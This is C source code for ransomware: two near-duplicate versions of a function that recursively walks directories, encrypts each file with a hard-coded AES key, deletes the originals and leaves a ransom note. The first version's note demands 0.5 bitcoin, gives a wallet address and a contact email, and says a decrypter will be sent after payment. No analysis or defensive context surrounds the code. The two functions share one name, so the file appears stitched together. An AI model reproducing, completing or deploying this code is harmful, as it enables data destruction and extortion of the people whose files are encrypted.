void ls_dir(char* start_path)
{
unsigned char key[] = "12345678901234561234567890123456";// 32 char 256bit key
unsigned char iv[] = "1234567890123456";//same size as block 16 char 128 bit block
DIR* dir;
struct dirent *ent;
if((dir=opendir(start_path)) !=NULL)
{
while((ent=readdir(dir)) !=NULL)
{
int len = strlen(ent->d_name);
const char* last_four = &ent->d_name[len-4];
if(strcmp(last_four,".enc") != 0)
{
if(ent->d_type == 8)
{
char* full_path_readme =(char*) malloc(strlen("RANSOMEWARE_INFO")+strlen(start_path)+2);
strcpy(full_path_readme,start_path);
strcat(full_path_readme,"RANSOMEWARE_INFO");
char* full_path =(char*) malloc(strlen(ent->d_name)+strlen(start_path)+2);
strcpy(full_path,start_path);
strcat(full_path,ent->d_name);
char* new_name = (char*) malloc(strlen(full_path)+strlen(".enc")+1);
strcpy(new_name,full_path);
strcat(new_name,".enc");
if(strcmp(full_path,"/etc/passwd") !=0 && strcmp(full_path,"/etc/shadow")!=0 && strcmp(full_path,"/etc/sudoers") !=0)
{
FILE* fpin;
FILE* fpout;
FILE* fpreadme;
fpin=fopen(full_path,"rb");
fpout=fopen(new_name,"wb");
fpreadme=fopen(full_path_readme,"w");
fprintf(fpreadme,"You have been PWNED! \n\n hehehehexD. Only Two Ways here.\n\n 1. Tranfer money to my bitcoin address \n 2. Email me with your bitcoin address that you used to send the money. Then I will email with an Decrpter \n\n Send 0.5btc now \n My Bitcoin Address:13dYMSYXL1BbFbicKM3jD78QN1ERckcXL4\n Email:[email protected] \n");
fclose(fpreadme);
encryptfile(fpin,fpout,key,iv);
fclose(fpin);
fclose(fpout);
remove(full_path);
}
free(full_path);
free(new_name);
}
else if(ent->d_type==4)
{
char *full_path=(char*) malloc(strlen(start_path)+strlen(ent->d_name)+2);
strcpy(full_path,start_path);
strcat(full_path,ent->d_name);
strcat(full_path,"/");
printf("%s\n",full_path);
if(full_path != start_path && ent->d_name[0] != '.')
{
ls_dir(full_path);
}
free(full_path);
}
}
}
}
}
void ls_dir(char* start_path)
{
unsigned char key[] = "12345678901234561234567890123456"; // 32 char 256bit key
unsigned char iv[] = "1234567890123456"; //same size as block 16 char 128 bit block
DIR* dir;
struct dirent *ent;
if((dir=opendir(start_path)) !=NULL)
{
while((ent=readdir(dir)) !=NULL)
{
int len = strlen(ent->d_name);
const char* last_four = &ent->d_name[len-4];
if(strcmp(last_four,".CryLi") != 0)
{
if(ent->d_type == 8)
{
char* full_path_readme =(char*) malloc(strlen("README")+strlen(start_path)+2);
strcpy(full_path_readme,start_path);
strcat(full_path_readme,"README");
char* full_path =(char*) malloc(strlen(ent->d_name)+strlen(start_path)+2);
strcpy(full_path,start_path);
strcat(full_path,ent->d_name);
char* new_name = (char*) malloc(strlen(full_path)+strlen(".CryLi")+1);
strcpy(new_name,full_path);
strcat(new_name,".CryLi");
if(strcmp(full_path,"/etc/passwd") !=0 && strcmp(full_path,"/etc/shadow")!=0 && strcmp(full_path,"/etc/sudoers") !=0)
{
FILE* fpin;
FILE* fpout;
FILE* fpreadme;
fpin=fopen(full_path,"rb");
fpout=fopen(new_name,"wb");
fpreadme=fopen(full_path_readme,"w");
fprintf(fpreadme,"PWNED!\n");
fclose(fpreadme);
encryptfile(fpin,fpout,key,iv);
fclose(fpin);
fclose(fpout);
remove(full_path);
}
free(full_path);
free(new_name);
}
else if(ent->d_type==4)
{
char *full_path=(char*) malloc(strlen(start_path)+strlen(ent->d_name)+2);
strcpy(full_path,start_path);
strcat(full_path,ent->d_name);
strcat(full_path,"/");
printf("%s\n",full_path);
if(full_path != start_path && ent->d_name[0] != '.')
{
ls_dir(full_path);
}
free(full_path);
}
}
}
}
}
